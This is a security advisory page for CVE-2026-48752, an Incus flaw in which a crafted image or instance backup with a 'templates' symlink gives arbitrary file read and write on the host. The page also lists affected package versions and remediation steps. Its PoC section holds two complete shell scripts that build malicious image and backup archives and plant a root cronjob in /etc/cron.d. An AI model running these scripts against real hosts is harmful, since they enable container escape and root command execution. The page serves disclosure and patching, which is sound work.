CVE-2026-48752: Incus has arbitrary file read+write on host via templates/ symlink in malicious image

Published Jun 26, 2026
·
Updated

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driverdirvolumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC templates symlink host afrw EOF

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

read #incus config template show afrw-image-templates-symlink $FILENAME

write printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup" cat<<EOF>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false EOF

mkdir "${tmpdir}/img/backup/container" cat<<EOF>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x8664 type: container status: Stopped statuscode: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expandedconfig: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expandeddevices: root: path: / pool: default type: disk createdat: "2024-01-01T00:00:00Z" lastusedat: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container contenttype: filesystem config: {} pool: name: default driver: dir config: {} EOF

cat<<EOF>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: afrw-backup-templates-symlink EOF

mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

read #incus config template show afrw-backup-templates-symlink $FILENAME

write printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Other sources

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.

— MITRE

Affected Software

8 affected componentsFixes available
go/github.com/lxc/incus/v7/cmd/incusd<7.2.0
7.2.0
alpine/incus<7.0.1-r0
7.0.1-r0
debian/incus<6.0.4-2+deb13u8
6.0.4-2+deb13u8
debian/incus<7.0.0-5
7.0.0-5
debian/lxd*
debian/lxd<5.0.2+git20231211.1364ae4-9+deb13u7
5.0.2+git20231211.1364ae4-9+deb13u7
debian/incus
6.0.4-2+deb13u106.0.4-2+deb13u127.0.2-3
debian/lxd<=5.0.2-5+deb12u6
5.0.2+git20231211.1364ae4-9+deb13u7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v7/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.2.0
  2. Upgrade

    Upgrade alpine/incus to a version that resolves this vulnerability.

    Fixed in 7.0.1-r0
  3. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u8
  4. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 7.0.0-5
  5. Upgrade

    Upgrade debian/lxd to a version that resolves this vulnerability.

    Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7
  6. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3
  7. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 7.2.0
  8. Compensating control

    If you cannot upgrade immediately, treat specially crafted Incus container images or instance backups as untrusted and do not import/initialize them (these can abuse an unsanitized top-level templates symlink to read or write arbitrary host files, potentially leading to command execution).

  9. Operational

    Review for and remove any host files that may have been created or modified via the malicious image/backup, especially files under host cron directories that could enable scheduled execution (e.g., mappings to /etc/cron.d as shown in the PoC).

Event History

Jun 26, 2026
Advisory Published
via GitHub·06:46 PM
Data Sourced
via GitHub·06:46 PM
DescriptionSeverityWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·02:31 PM
Data Sourced
via MITRE·02:31 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-48752?

CVE-2026-48752 has a critical severity rating of 9.9.

2

How do I fix CVE-2026-48752?

To fix CVE-2026-48752, update your container images to the patched version that addresses the vulnerability.

3

What are the potential impacts of CVE-2026-48752?

CVE-2026-48752 can lead to arbitrary file read or write operations on the host, potentially allowing for arbitrary command execution.

4

What is the exploit vector for CVE-2026-48752?

CVE-2026-48752 can be exploited via specially crafted image files or instance backups.

5

In which software is CVE-2026-48752 found?

CVE-2026-48752 is found in the go/github.com/lxc/incus/v7/cmd/incusd software.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203